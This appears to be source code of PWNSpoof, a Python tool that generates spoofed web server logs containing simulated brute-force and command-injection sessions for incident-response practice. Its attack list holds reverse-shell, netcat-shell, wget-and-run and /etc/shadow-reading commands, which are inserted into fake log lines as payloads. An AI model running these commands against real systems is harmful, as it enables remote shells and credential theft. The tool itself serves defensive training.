banking.set_dynamic_activity_pattern(ap.Banking.dynamic_routine_use) 7 | banking.noise_interactions += list(ap.Misc.noise) 8 | banking.attacks["bruteforce"] = ap.Banking.dynamic_brute_force 9 | banking.attacks["command_injection"] = ap.Misc.dynamic_cmd_injectiom 10 | banking.extension = "aspx" 11 | 12 | wordpress = App("apunksblog.local") 13 | wordpress.set_dynamic_activity_pattern(ap.Wordpress.dynamic_browse_or_admin) 14 | wordpress.noise_interactions += ap.Wordpress.noise 15 | wordpress.attacks["bruteforce"] = ap.Wordpress.dynamic_brute_force 16 | wordpress.attacks["command_injection"] = ap.Wordpress.dynamic_malicious_plugin 17 | wordpress.extension = "php" 18 | 19 | generic = App("punksontour.local") 20 | generic.set_dynamic_activity_pattern(ap.Generic.dynamic_browse) 21 | generic.extension = "" 22 | generic.noise_interactions += ap.Generic.static_noise_success 23 | generic.attacks["bruteforce"] = ap.Generic.dynamic_bruteforce_sensitive_files 24 | generic.attacks["command_injection"] = ap.Generic.dynamic_command_injection 25 | apps = {"banking": banking, "wordpress": wordpress, "generic": generic} 26 | -------------------------------------------------------------------------------- /attacks.py: -------------------------------------------------------------------------------- 1 | command_attack = [ 2 | "cat /etc/passwd", 3 | "cat /etc/shadow", 4 | "nc -u -lvp __rand_int__", 5 | "sh -i >& /dev/udp/__session_ip__/82__rand_int__ 0>&1", 6 | "bash -i >& /dev/tcp/__session_ip__/86__rand_int__ 0>&1", 7 | "cd /tmp; wget http://__session_ip__/ping; chmod +x ping; ./ping", 8 | "nc -e /bin/sh __session_ip__ 42__rand_int__", 9 | "nc -e /bin/bash __session_ip__ 42__rand_int__", 10 | "nc -c bash __session_ip__ 42__rand_int__", 11 | ] 12 | 13 | command_recon = [ 14 | "ping __rand_geo_ip__ -n 1", 15 | "ping __session_ip__ -n 1", 16 | "whoami", 17 | "cat /var/log/apache/access_log", 18 | "cat /var/www/.htpasswd", 19 | "cat __dir__.htaccess", 20 | "ls __dir__", 21 | "hostname", 22 | "pwd", 23 | "cd ..", 24 | "netstat -peanut", 25 | "ps", 26 | "ps -ef", 27 | "ps -aux", 28 | "cat /etc/release", 29 | ] 30 | 31 | loot = [ 32 | ".htaccess", 33 | "auth__app_extension__", 34 | "admin__app_extension__", 35 | "login__app_extension__", 36 | "settings__app_extension__", 37 | "db__app_extension__", 38 | "passwords", 39 | "db_config", 40 | "config", 41 | "settings", 42 | "db__app_extension__", 43 | "configuration", 44 | "admin__app_extension__", 45 | ] 46 | 47 | dirs = [ 48 | "", 49 | "../", 50 | "../../", 51 | "../../../", 52 | "admin", 53 | "old", 54 | "backup", 55 | "archives", 56 | "1", 57 | "2", 58 | "3", 59 | "4", 60 | ] 61 | 62 | backup_extensions = [ 63 | "copy", 64 | "backup", 65 | "txt", 66 | "old", 67 | "saved", 68 | "older", 69 | "copy.copy", 70 | "bckp", 71 | "archived", 72 | "1", 73 | "2", 74 | "3", 75 | "7z", 76 | "zip", 77 | "tgz", 78 | ] 79 | -------------------------------------------------------------------------------- /images/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/punk-security/pwnspoof/08f71dcfb4507d5cbff418fc828a763511f83e8a/images/banner.png -------------------------------------------------------------------------------- /images/product.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/punk-security/pwnspoof/08f71dcfb4507d5cbff418fc828a763511f83e8a/images/product.png -------------------------------------------------------------------------------- /images/pwnspoof.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/punk-security/pwnspoof/08f71dcfb4507d5cbff418fc828a763511f83e8a/images/pwnspoof.gif -------------------------------------------------------------------------------- /images/realistic_patterns.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/punk-security/pwnspoof/08f71dcfb4507d5cbff418fc828a763511f83e8a/images/realistic_patterns.png -------------------------------------------------------------------------------- /interactions.py: -------------------------------------------------------------------------------- 1 | from models import Interaction 2 | 3 | 4 | class misc: 5 | favico_success = Interaction( 6 | uri="favico.ico", set_as_last=False, append_extension=False 7 | ) 8 | root_success = Interaction(uri="/", append_extension=False) 9 | wp_page_success = Interaction( 10 | uri="/", query="p=__rand_int__", append_extension=False 11 | ) 12 | wp_jpg_success = Interaction( 13 | uri="/var/www/wordpress/2021/0__rand_digit__/__rand_two_words__-1024x800.jpg", 14 | set_as_last=False, 15 | append_extension=False, 16 | ) 17 | 18 | 19 | class css: 20 | main_success = Interaction( 21 | uri="main.css", set_as_last=False, append_extension=False 22 | ) 23 | footer_success = Interaction( 24 | uri="footer.css", set_as_last=False, append_extension=False 25 | ) 26 | template_success = Interaction( 27 | uri="template.css", 28 | query="v=__rand_str__", 29 | set_as_last=False, 30 | append_extension=False, 31 | ) 32 | rand_not_found = Interaction( 33 | uri="__rand_str__.css", 34 | status_code=404, 35 | set_as_last=False, 36 | append_extension=False, 37 | ) 38 | rand_success = Interaction( 39 | uri="__rand_str__.css", set_as_last=False, append_extension=False 40 | ) 41 | common_success = Interaction( 42 | uri="__rand_css_file__", set_as_last=False, append_extension=False 43 | ) 44 | wp_theme_versioned_success = Interaction( 45 | uri="wp-content/themes/__theme__/assets/css/__rand_css_file__", 46 | query="ver=__rand_digit__.__rand_digit__.__rand_int__", 47 | set_as_last=False, 48 | append_extension=False, 49 | ) 50 | wp_versioned_success = Interaction( 51 | uri="wp-includes/css/dist/block-library/__rand_css_file__", 52 | query="ver=__rand_digit__.__rand_digit__.__rand_int__", 53 | set_as_last=False, 54 | append_extension=False, 55 | ) 56 | 57 | 58 | class js: 59 | rand_success = Interaction( 60 | uri="__rand_str__.js", 61 | query="v=__rand_long__", 62 | set_as_last=False, 63 | append_extension=False, 64 | ) 65 | wp_theme_versioned_success = Interaction( 66 | uri="wp-content/themes/__theme__/assets/js/__rand_js_file__", 67 | query="ver=__rand_digit__.__rand_digit__.__rand_int__", 68 | set_as_last=False, 69 | append_extension=False, 70 | ) 71 | wp_versioned_success = Interaction( 72 | uri="wp-includes/js/__rand_js_file__", 73 | query="ver=__rand_digit__.__rand_digit__.__rand_int__", 74 | set_as_last=False, 75 | append_extension=False, 76 | ) 77 | 78 | 79 | class generic: 80 | seo_friendly_success = Interaction( 81 | uri="__rand_app_page_name__", append_extension=False 82 | ) 83 | seo_friendly_404 = Interaction( 84 | uri="__rand_two_words__", set_as_last=False, status_code=404 85 | ) 86 | noise_sucess = Interaction( 87 | uri="__rand_noise__", 88 | set_as_last=False, 89 | append_extension=False, 90 | ) 91 | old_loot_success = Interaction( 92 | uri="__dir____loot__.__backup_ext__", append_extension=False, set_as_last=False 93 | ) 94 | old_loot_404 = Interaction( 95 | uri="__dir____loot__.__backup_ext__", 96 | append_extension=False, 97 | status_code=404, 98 | set_as_last=False, 99 | ) 100 | 101 | 102 | class dynamic: 103 | login_success = Interaction( 104 | uri="login", 105 | ) 106 | 107 | index_success = Interaction(uri="index") 108 | 109 | index_redirect = Interaction(uri="index", status_code=301) 110 | 111 | index_seo_friendly_success = Interaction( 112 | uri="index__app_extension__/__rand_app_page_name__", append_extension=False 113 | ) 114 | 115 | xmlrpc_success = Interaction(uri="xmlrpc", method="POST", set_as_last=False) 116 | 117 | login_post_301 = Interaction( 118 | uri="login", method="POST", status_code=301, login=True 119 | ) 120 | 121 | login_post_401 = Interaction(uri="login", method="POST", status_code=401) 122 | 123 | account_status = Interaction( 124 | uri="account_status", 125 | ) 126 | 127 | transaction = Interaction( 128 | uri="transactions", 129 | query="page=__inc_int__", 130 | ) 131 | logout_success = Interaction(uri="logout", status_code=301, logout=True) 132 | transfer_get_success = Interaction( 133 | uri="transfer", 134 | ) 135 | transfer_post_success = Interaction( 136 | uri="transfer", 137 | status_code=200, 138 | method="POST", 139 | query="accountid=__rand_long__", 140 | ) 141 | transfer_complete_success = Interaction(uri="transfer_complete") 142 | myaccount_success = Interaction(uri="account") 143 | change_avatar_post_success = Interaction( 144 | uri="change_avatar", 145 | average_bytes=30000, 146 | deviation_bytes=10000, 147 | method="POST", 148 | status_code=301, 149 | ) 150 | change_password_get_success = Interaction(uri="changepassword") 151 | change_password_post_success = Interaction( 152 | uri="changepassword", method="POST", status_code=301 153 | ) 154 | faq_success = Interaction(uri="faq", query="locale=english") 155 | faq_lfi = Interaction(uri="faq", query="locale=__rand_str__") 156 | faq_rfi = Interaction( 157 | uri="faq", 158 | query="locale=http://__rand_str__.io:__rand_int__/__rand_str____app_extension__.txt%00", 159 | ) 160 | sticky_page_500 = Interaction(uri="__rand_sticky_str__", status_code=500) 161 | cmd_injection_on_sticky_page_recon = Interaction( 162 | uri="__rand_sticky_str__", query="cmd=__rand_cmd_recon__" 163 | ) 164 | 165 | cmd_injection_on_sticky_page_attack = Interaction( 166 | uri="__rand_sticky_str__", query="cmd=__rand_cmd_attack__" 167 | ) 168 | 169 | wp_admin_login_page_success = Interaction(uri="wp-login") 170 | 171 | wp_admin_login_success = Interaction( 172 | uri="wp-login", method="POST", status_code=301, login=True 173 | ) 174 | 175 | wp_admin_login_failed = Interaction(uri="wp-login", method="POST", status_code=401) 176 | wp_admin_update_success = Interaction(uri="wp-admin/update-core") 177 | 178 | wp_admin_users_success = Interaction(uri="wp-admin/users") 179 | 180 | wp_admin_users_post_success = Interaction(uri="wp-admin/users", method="POST") 181 | 182 | wp_admin_plugins_success = Interaction(uri="wp-admin/plugins") 183 | 184 | wp_admin_plugins_install_post_success = Interaction( 185 | uri="wp-admin/plugins", 186 | method="POST", 187 | query="action=install-plugin&plugin=__rand_two_words__", 188 | ) 189 | 190 | wp_admin_plugins_install_success = Interaction( 191 | uri="wp-admin/plugins-install", 192 | ) 193 | 194 | wp_admin_health_success = Interaction(uri="wp-admin/site-health") 195 | -------------------------------------------------------------------------------- /ip_handler.py: -------------------------------------------------------------------------------- 1 | import csv 2 | import random 3 | import socket 4 | import struct 5 | 6 | 7 | class IPHandler(object): 8 | ip_lookup_table = [] 9 | 10 | @staticmethod 11 | def decimal_to_ip(ip): 12 | return socket.inet_ntoa(struct.pack(">L", ip)) 13 | 14 | @staticmethod 15 | def get_random_ip(geo=None): 16 | if not IPHandler.ip_lookup_table: 17 | IPHandler.read_csv() 18 | candidates = IPHandler.ip_lookup_table 19 | if geo != None: 20 | candidates = [x for x in candidates if x[2] == geo.upper()] 21 | if len(candidates) == 0: 22 | raise Exception("Geo does not exist!") 23 | row = random.choice(candidates) 24 | decimal_ip = random.randint(int(row[0]), int(row[1])) 25 | return IPHandler.decimal_to_ip(decimal_ip) 26 | 27 | @staticmethod 28 | def read_csv(): 29 | with open("IP2LOCATION-LITE-DB1.CSV") as file: 30 | c = csv.reader(file, delimiter=",", quotechar='"') 31 | for row in c: 32 | IPHandler.ip_lookup_table.append(row) 33 | -------------------------------------------------------------------------------- /log_generator.py: -------------------------------------------------------------------------------- 1 | from ip_handler import IPHandler 2 | 3 | from string_formatter import handlebar_replace 4 | 5 | import random 6 | 7 | import secrets 8 | 9 | 10 | class LogGenerator(object): 11 | dateformat = "%Y-%m-%d %H:%M:%S" 12 | server_ip = None 13 | server_fqdn = None 14 | log_header = { 15 | "IIS": "#Fields: date time s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) cs(Referer) sc-status sc-substatus sc-win32-status time-taken", 16 | "NGINX": "", 17 | "CLF": "", 18 | "CLOUDFLARE": "", 19 | "AWS": "", 20 | } 21 | 22 | # CloudFlare and AWS are missing fields normally found in their logs that would come exclusively from their respective apps e.g. AWS arn 23 | # This uses Cloudflare audit logs and aws elb access logs 24 | log_line = { 25 | "IIS": "{datetime} {server_ip} {method} {uri} {query} {port} {username} {source_ip} {user_agent} {referer} {status_code} {substatus} {win32_status} {time_taken}", 26 | "NGINX": '{source_ip} - {username} {datetime} "{method} {uri_with_query} HTTP/1.1" {status_code} {size} "{referer}" "{user_agent}"', 27 | "CLF": '{source_ip} - {username} {datetime} "{method} {uri_with_query} HTTP/1.1" {status_code} {size}', 28 | "CLOUDFLARE": '{{"ClientIP": "{source_ip}", "ClientRequestHost": "{fqdn}", "ClientRequestMethod": "{method}", "ClientRequestURI": "{uri}", "ClientRequestUserAgent":"{user_agent}", "EdgeEndTimestamp": "{datetime}", "EdgeResponseBytes": {size}, "EdgeResponseStatus": {status_code}, "EdgeStartTimestamp": "{datetime}", "RayID": "{ray_id}", "RequestHeaders":{{"cf-access-user":"{username}"}}}}', 29 | "AWS": '{scheme} {datetime} app/my-loadbalancer/50dc6c495c0c9188 {source_ip}:{port} {server_ip}:{port} 0.000 0.001 0.000 {status_code} {status_code} {size} {sent_size} "{method} {scheme}://{fqdn}/{uri_with_query}:{port}/ HTTP/1.1" "{user_agent}" {https_cipher} {https_protocol} arn:aws:elasticloadbalancing:us-east-2:123456789012:targetgroup/my-targets/73e2d6bc24d8a067 "Root=1-58337262-36d228ad5d99923122bbe354" "{https_url}" "{https_cert}" 0 {datetime} "forward" "-" "-" "{server_ip}:{port}" "{status_code}" "-" "-"', 30 | } 31 | 32 | log_timeformat = { 33 | "IIS": "%Y-%m-%d %H:%M:%S", 34 | "NGINX": "[%d/%b/%Y:%H:%M:%S +0000]", 35 | "CLF": "[%d/%b/%Y:%H:%M:%S +0000]", 36 | "CLOUDFLARE": "%Y-%m-%dT%H:%M:%SZ", 37 | "AWS": "%Y-%m-%dT%H:%M:%SZ", 38 | } 39 | 40 | @staticmethod 41 | def generate_log( 42 | datetime, 43 | uri, 44 | port, 45 | source_ip, 46 | user_agent, 47 | server, 48 | size_bytes, 49 | referer="-", 50 | method="get", 51 | username="-", 52 | query="-", 53 | status_code=200, 54 | substatus=0, 55 | win32_status=0, 56 | time_taken=20, 57 | ): 58 | # Format timestamp 59 | if LogGenerator.server_ip == None: 60 | LogGenerator.server_ip = IPHandler.get_random_ip(geo="US") 61 | if LogGenerator.server_fqdn == None: 62 | LogGenerator.server_fqdn = LogGenerator.server_ip 63 | 64 | # Set Referer 65 | if referer != "-": 66 | if "http" not in referer: 67 | scheme = "https" if port == 443 else "http" 68 | referer = "{scheme}://{server}/{uri}".format( 69 | scheme=scheme, 70 | server=LogGenerator.server_fqdn, 71 | uri=referer.lstrip("/"), 72 | ) 73 | else: 74 | scheme = "https" 75 | 76 | ray_id = secrets.token_hex(8) 77 | sent_size = random.randint(16, 1024) 78 | 79 | https_cipher = "-" 80 | https_protocol = "-" 81 | https_url = "-" 82 | https_cert = "-" 83 | # AWS elb access logs 84 | if port == 443: 85 | https_cipher = "ECDHE-RSA-AES128-GCM-SHA256" 86 | https_protocol = "TLSv1.2" 87 | https_url = LogGenerator.server_fqdn 88 | https_cert = "arn:aws:acm:us-east-2:123456789012:certificate/12345678-1234-1234-1234-123456789012" 89 | 90 | # Uppercase method 91 | method = method.upper() 92 | # Calc query and uri combo 93 | uri_with_query = "{uri}?{query}" if query != "-" else "{uri}" 94 | log = LogGenerator.log_line[server].format( 95 | datetime=datetime.strftime(LogGenerator.log_timeformat[server]), 96 | server_ip=LogGenerator.server_ip, 97 | fqdn=LogGenerator.server_fqdn, 98 | method=method, 99 | uri=uri, 100 | port=port, 101 | source_ip=source_ip, 102 | user_agent=user_agent, 103 | scheme=scheme, 104 | referer=referer, 105 | username=username, 106 | query=query, 107 | status_code=status_code, 108 | substatus=substatus, 109 | win32_status=win32_status, 110 | time_taken=time_taken, 111 | size=size_bytes, 112 | uri_with_query=uri_with_query.format(uri=uri, query=query), 113 | ray_id=ray_id, 114 | sent_size=sent_size, 115 | https_cipher=https_cipher, 116 | https_protocol=https_protocol, 117 | https_url=https_url, 118 | https_cert=https_cert, 119 | ) 120 | return log 121 | 122 | @staticmethod 123 | def map_to_log(datetime, session, interaction, server): 124 | referer = interaction.referer 125 | if referer == "__last__": 126 | referer = session.last_uri 127 | if session.authenticated: 128 | username = session.username 129 | else: 130 | username = "-" 131 | uri = handlebar_replace(interaction.uri, session) 132 | return LogGenerator.generate_log( 133 | datetime=datetime, 134 | uri=uri, 135 | port=interaction.port, 136 | source_ip=session.source_ip, 137 | user_agent=session.user_agent, 138 | referer=referer, 139 | method=interaction.method, 140 | query=handlebar_replace(interaction.query, session), 141 | status_code=interaction.status_code, 142 | time_taken=interaction.response_time_ms, 143 | username=username, 144 | server=server, 145 | size_bytes=interaction.size_bytes, 146 | ) 147 | -------------------------------------------------------------------------------- /models.py: -------------------------------------------------------------------------------- 1 | import datetime as dt 2 | import random 3 | from string_formatter import handlebar_replace 4 | from ip_handler import IPHandler 5 | from log_generator import LogGenerator 6 | from copy import copy 7 | 8 | 9 | class SessionHandler(object): 10 | def __init__(self, pages=None, noise=None): 11 | self.sessions = [] 12 | self.pages = pages 13 | self.noise = noise 14 | 15 | def add_session(self, session): 16 | session.pages = self.pages 17 | session.noise = self.noise 18 | self.sessions.append(session) 19 | 20 | @property 21 | def active_sessions(self): 22 | return [x for x in self.sessions if x.next_iteration != None] 23 | 24 | def iter(self, server_type): 25 | for session in self.active_sessions: 26 | ni = session.next_iteration 27 | ret = session.trigger(ni) 28 | if ret != None: 29 | for i in ret: 30 | yield { 31 | "datetime": ni, 32 | "log": LogGenerator.map_to_log(ni, session, i, server_type), 33 | } 34 | 35 | 36 | class Session(object): 37 | def __init__( 38 | self, 39 | start_datetime, 40 | activity_patterns, 41 | user_agent, 42 | app, 43 | source_ip=None, 44 | geo="GB", 45 | duration_mins=30, 46 | username="-", 47 | theme=None, 48 | pages=None, 49 | noise=None, 50 | ): 51 | if source_ip: 52 | self.source_ip = source_ip 53 | else: 54 | self.source_ip = IPHandler.get_random_ip(geo) 55 | self.start_datetime = start_datetime 56 | self.end_datetime = start_datetime + dt.timedelta(minutes=duration_mins) 57 | self.activity_patterns = [] 58 | for ap in activity_patterns: 59 | if type(ap) is list: 60 | for ap2 in ap: 61 | self.activity_patterns.append(ap2) 62 | else: 63 | self.activity_patterns.append(ap) 64 | self.user_agent = user_agent 65 | self.username = username 66 | self.next_iteration = start_datetime 67 | self.current_activity_pattern = 0 68 | self.current_uri = "-" 69 | self.last_uri = "-" 70 | self.iter = 0 71 | self.authenticated = False 72 | self.app = app 73 | self.stickystr = False 74 | self.geo = geo 75 | self.theme = theme 76 | self.pages = pages 77 | self.noise = noise 78 | 79 | def trigger(self, datetime): 80 | self.last_uri = self.current_uri 81 | self.last_trigger = datetime 82 | resp = self.activity_patterns[self.current_activity_pattern].iterate(self.iter) 83 | self.iter += 1 84 | if resp == None: 85 | # Activity Pattern finished, move to next one or return None 86 | if len(self.activity_patterns) - 1 == self.current_activity_pattern: 87 | self.next_iteration = None 88 | # Last pattern, return None 89 | return None 90 | self.current_activity_pattern += 1 91 | self.iter = 0 92 | resp = self.activity_patterns[self.current_activity_pattern].iterate( 93 | self.iter 94 | ) 95 | self.iter += 1 96 | if resp != None: 97 | # Format the URI here so the last uri is correct - have to copy otherwise we replace uri on the base interaction 98 | resp = copy(resp) 99 | resp.uri = handlebar_replace(resp.uri, self) 100 | if resp.set_as_last == True: 101 | self.current_uri = resp.uri 102 | if resp.login == True: 103 | self.authenticated = True 104 | if resp.logout == True: 105 | self.authenticated = False 106 | self.next_iteration = datetime + dt.timedelta( 107 | seconds=random.randint( 108 | self.activity_patterns[ 109 | self.current_activity_pattern 110 | ].min_period_between_invocations_s, 111 | self.activity_patterns[ 112 | self.current_activity_pattern 113 | ].max_period_between_invocations_s, 114 | ) 115 | ) 116 | if self.next_iteration > self.end_datetime: 117 | self.next_iteration = None 118 | if ( 119 | resp != None 120 | and self.app.noise_interactions 121 | and self.activity_patterns[self.current_activity_pattern].suppress_noise 122 | == False 123 | ): 124 | for x in range(1, random.randint(2, 4)): 125 | yield random.choice(self.app.noise_interactions) 126 | yield resp 127 | return 128 | 129 | def __repr__(self): 130 | margin = " " * 6 131 | keys = { 132 | "SOURCE IP": self.source_ip, 133 | "USER AGENT": f"{self.user_agent[0:80]}...", 134 | "START TIME": self.start_datetime, 135 | "END TIME": self.end_datetime, 136 | } 137 | if self.stickystr: 138 | keys["UNIQUE STR"] = self.stickystr 139 | if ( 140 | hasattr(self, "chosen_attack_payloads") 141 | and len(self.chosen_attack_payloads) != 0 142 | ): 143 | for x in range(0, len(self.chosen_attack_payloads)): 144 | keys[f"ATTACK {x}"] = self.chosen_attack_payloads[x] 145 | ret = f"{margin}+======" 146 | for key in keys.keys(): 147 | ret += "\n" 148 | ret += f"{margin}| {key:20s}: {keys[key]}" 149 | 150 | ret += f"\n{margin}+=====" 151 | return ret 152 | 153 | 154 | class ActivityPattern(object): 155 | def __init__( 156 | self, 157 | looping=False, 158 | consecutive=False, 159 | min_period_between_invocations_s=3, 160 | max_period_between_invocations_s=30, 161 | count=None, 162 | suppress_noise=False, 163 | ): 164 | self.looping = looping 165 | self.consecutive = consecutive 166 | self.min_period_between_invocations_s = min_period_between_invocations_s 167 | self.max_period_between_invocations_s = max_period_between_invocations_s 168 | self.interactions = [] 169 | self.count = count 170 | self.suppress_noise = suppress_noise 171 | 172 | def add_interaction(self, interaction): 173 | self.interactions.append(interaction) 174 | return self 175 | 176 | def add_interactions(self, interactions): 177 | for i in interactions: 178 | self.add_interaction(i) 179 | return self 180 | 181 | def iterate(self, iteration): 182 | # If random 183 | if self.consecutive == False: 184 | i = random.randint(0, len(self.interactions) - 1) 185 | # If there is a count, return none once we exceed it 186 | if self.count != None and iteration >= self.count: 187 | return None 188 | # else we are consecutive 189 | else: 190 | if iteration == len(self.interactions): 191 | # We have finished, return None 192 | return None 193 | i = iteration 194 | return self.interactions[i] 195 | 196 | 197 | class Interaction(object): 198 | def __init__( 199 | self, 200 | uri, 201 | method="GET", 202 | query="-", 203 | referer="__last__", 204 | status_code=200, 205 | port=443, 206 | base_response_time_ms=25, 207 | response_time_deviation_ms=5, 208 | average_bytes=250, 209 | deviation_bytes=120, 210 | set_as_last=True, 211 | login=False, 212 | logout=False, 213 | append_extension=True, 214 | ): 215 | self.uri = uri.rstrip("?") 216 | if append_extension: 217 | self.uri = f"{self.uri}__app_extension__" 218 | self.base_response_time_ms = base_response_time_ms 219 | self.response_time_deviation_ms = response_time_deviation_ms 220 | self.average_bytes = average_bytes 221 | self.deviation_bytes = deviation_bytes 222 | self.method = method 223 | self.query = query.lstrip("?") 224 | self.referer = referer 225 | self.status_code = status_code 226 | self.port = port 227 | self.current_int = 0 228 | self.set_as_last = set_as_last 229 | self.login = login 230 | self.logout = logout 231 | 232 | @property 233 | def response_time_ms(self): 234 | return random.randint( 235 | self.base_response_time_ms - self.response_time_deviation_ms, 236 | self.base_response_time_ms + self.response_time_deviation_ms, 237 | ) 238 | 239 | @property 240 | def size_bytes(self): 241 | return random.randint( 242 | self.average_bytes - self.deviation_bytes, 243 | self.average_bytes + self.deviation_bytes, 244 | ) 245 | 246 | 247 | class App(object): 248 | def __init__(self, fqdn): 249 | self.fqdn = fqdn 250 | self.__activity_patterns = [] 251 | self.attacks = {} 252 | self.noise_interactions = [] 253 | self.extension = "php" 254 | 255 | ## Activity Patterns 256 | def add_activity_pattern(self, ap): 257 | self.activity_patterns.append(ap) 258 | 259 | def add_activity_patterns(self, aps): 260 | for ap in aps: 261 | self.__activity_patterns.append(ap) 262 | 263 | def set_dynamic_activity_pattern(self, dap): 264 | self.dynamic_activity_pattern = dap 265 | 266 | def activity_patterns(self): 267 | if not self.dynamic_activity_pattern: 268 | for ap in self.__activity_patterns: 269 | yield ap 270 | else: 271 | for ap in self.dynamic_activity_pattern(): 272 | yield ap 273 | -------------------------------------------------------------------------------- /pwnspoof.py: -------------------------------------------------------------------------------- 1 | import datetime as dt 2 | from log_generator import LogGenerator 3 | from models import Session, SessionHandler 4 | from apps import apps 5 | import argparse 6 | import sys 7 | from session_generator import SessionGenerator, default_user_agents 8 | import random 9 | 10 | # TODO: build common patterns for webapps 11 | # TODO: build attacker injector for webapp patterms 12 | # TODO: Make noise a bit cleverer... maybe weighted wordlists? 13 | 14 | 15 | banner = """\ 16 | ____ __ _____ _ __ 17 | / __ \__ ______ / /__/ ___/___ _______ _______(_) /___ __ 18 | / /_/ / / / / __ \/ //_/\__ \/ _ \/ ___/ / / / ___/ / __/ / / / 19 | / ____/ /_/ / / / / ,< ___/ / __/ /__/ /_/ / / / / /_/ /_/ / 20 | /_/ \__,_/_/ /_/_/|_|/____/\___/\___/\__,_/_/ /_/\__/\__, / 21 | PRESENTS /____/ 22 | 23 | -- PWNSpoof v0.4.0 -- 24 | A spoof log generator to practice incident response and threat hunting! 25 | """ 26 | 27 | parser = argparse.ArgumentParser( 28 | usage="%(prog)s [options] app", 29 | formatter_class=argparse.RawDescriptionHelpFormatter, 30 | description=banner, 31 | ) 32 | 33 | parser.add_argument( 34 | "app", 35 | type=str, 36 | help="App to emulate", 37 | choices=[ 38 | "banking", 39 | "wordpress", 40 | "generic", 41 | ], 42 | ) 43 | parser.add_argument( 44 | "--out", type=str, default="pwnspoof.log", help="Output file (default: %(default)s)" 45 | ) 46 | 47 | parser.add_argument( 48 | "--iocs", 49 | action="store_true", 50 | help="Do you want to know the attackers iocs for easier searching? (default: %(default)s)", 51 | ) 52 | log_generator_settings = parser.add_argument_group("log generator settings") 53 | log_generator_settings.add_argument( 54 | "--log-start-date", 55 | type=str, 56 | help='Initial start of logs, in the format YYYYMMDD i.e. "20210727"', 57 | ) 58 | log_generator_settings.add_argument( 59 | "--log-end-date", 60 | type=str, 61 | help='End date for logs, in the format YYYYMMDD i.e. "20210727"', 62 | ) 63 | log_generator_settings.add_argument( 64 | "--session-count", 65 | type=int, 66 | default=2000, 67 | help="Number of legitimate sessions to spoof (default: %(default)s)", 68 | ) 69 | log_generator_settings.add_argument( 70 | "--max-sessions-per-user", 71 | type=int, 72 | default=3, 73 | help="Max number of legitimate sessions per user (default: %(default)s)", 74 | ) 75 | log_generator_settings.add_argument( 76 | "--server-fqdn", type=str, help="Override the emulated web apps default fqdn" 77 | ) 78 | log_generator_settings.add_argument( 79 | "--server-ip", type=str, help="Override the emulated web apps randomised IP" 80 | ) 81 | log_generator_settings.add_argument( 82 | "--server-type", 83 | type=str, 84 | choices=["IIS", "NGINX", "CLF", "CLOUDFLARE", "AWS"], 85 | default="IIS", 86 | help="Server to spoof (default: %(default)s)", 87 | ) 88 | log_generator_settings.add_argument( 89 | "--uri-file", 90 | type=str, 91 | help="File containing web uris to override defaults, do not include extensions", 92 | ) 93 | log_generator_settings.add_argument( 94 | "--noise-file", 95 | type=str, 96 | help="File containing noise uris to override defaults, include extensions", 97 | ) 98 | attack_settings = parser.add_argument_group("attack settings") 99 | attack_settings.add_argument( 100 | "--spoofed-attacks", 101 | type=int, 102 | default=1, 103 | help="Number of attacker sequences to spoof (default: %(default)s)", 104 | ) 105 | attack_settings.add_argument( 106 | "--attack-type", 107 | type=str, 108 | choices=["bruteforce", "command_injection"], 109 | default="bruteforce", 110 | help="Number of attacker sequences to spoof (default: %(default)s)", 111 | ) 112 | attack_settings.add_argument( 113 | "--attacker-geo", 114 | type=str, 115 | default="RD", 116 | help="Set the attackers geo by 2 letter region. Use RD for random (default: %(default)s)", 117 | ) 118 | attack_settings.add_argument( 119 | "--attacker-user-agent", 120 | type=str, 121 | default="RD", 122 | help="Set the attackers user-agent. Use RD for random (default: %(default)s)", 123 | ) 124 | attack_settings.add_argument( 125 | "--additional-attacker-ips", 126 | type=str, 127 | default="", 128 | help="Additional attackers ip addresses, comma separated (default: %(default)s). If you wish to exclusively use this list set spoofed-attacks to 0", 129 | ) 130 | try: 131 | args = parser.parse_args() 132 | except SystemExit as e: 133 | parser.print_help() 134 | sys.exit(0) 135 | 136 | print(banner) 137 | 138 | # FQDN 139 | if args.server_fqdn != None: 140 | LogGenerator.server_fqdn = args.server_fqdn 141 | else: 142 | LogGenerator.server_fqdn = apps[args.app].fqdn 143 | 144 | # IP 145 | if args.server_ip != None: 146 | LogGenerator.server_ip = args.server_ip 147 | 148 | # ENDDATE 149 | if args.log_end_date != None: 150 | ed = dt.datetime.strptime(args.log_end_date, "%Y%m%d") 151 | else: 152 | ed = dt.datetime.combine(dt.date.today(), dt.datetime.max.time()) 153 | # STARTDATE 154 | if args.log_start_date != None: 155 | sd = dt.datetime.strptime(args.log_start_date, "%Y%m%d") 156 | else: 157 | sd = ed - dt.timedelta(days=14) 158 | 159 | sh = SessionHandler() 160 | # If args.uri_file, add uris to session handler 161 | if args.uri_file != None: 162 | with open(args.uri_file) as f: 163 | sh.pages = f.read().splitlines() 164 | # If args.noise_file, add noise to session handler 165 | if args.noise_file != None: 166 | with open(args.noise_file) as f: 167 | sh.noise = f.read().splitlines() 168 | 169 | x = 0 170 | y = 100 / args.session_count 171 | 172 | 173 | print("Generating {} unique sessions...".format(args.session_count)) 174 | for session in SessionGenerator( 175 | args.session_count, 176 | apps[args.app], 177 | sd, 178 | ed, 179 | max_sessions_per_user=args.max_sessions_per_user, 180 | ): 181 | sh.add_session(session) 182 | print("{:6.2f}% ".format(y * x), end="\r", flush=True) 183 | x += 1 184 | print(" Done! ") 185 | 186 | 187 | ## Attacks - manual for now 188 | if args.attacker_geo == "RD": 189 | args.attacker_geo = None 190 | 191 | if args.attacker_user_agent == "RD": 192 | attacker_user_agent = random.choice(default_user_agents) 193 | else: 194 | attacker_user_agent = args.attacker_user_agent 195 | 196 | attacker_sessions = [] 197 | 198 | print("Generating {} attack sessions".format(args.spoofed_attacks)) 199 | for x in range(0, args.spoofed_attacks): 200 | attack_start_date = (random.choice(sh.sessions)).start_datetime 201 | attack = Session( 202 | attack_start_date, 203 | list(apps[args.app].attacks[args.attack_type]()), 204 | user_agent=attacker_user_agent, 205 | username=random.choice(sh.sessions).username, 206 | geo=args.attacker_geo, 207 | app=apps[args.app], 208 | ) 209 | # TODO: This should be a child class of Session 210 | attack.attack_payloads = [] 211 | attack.chosen_attack_payloads = [] 212 | sh.add_session(attack) 213 | attacker_sessions.append(attack) 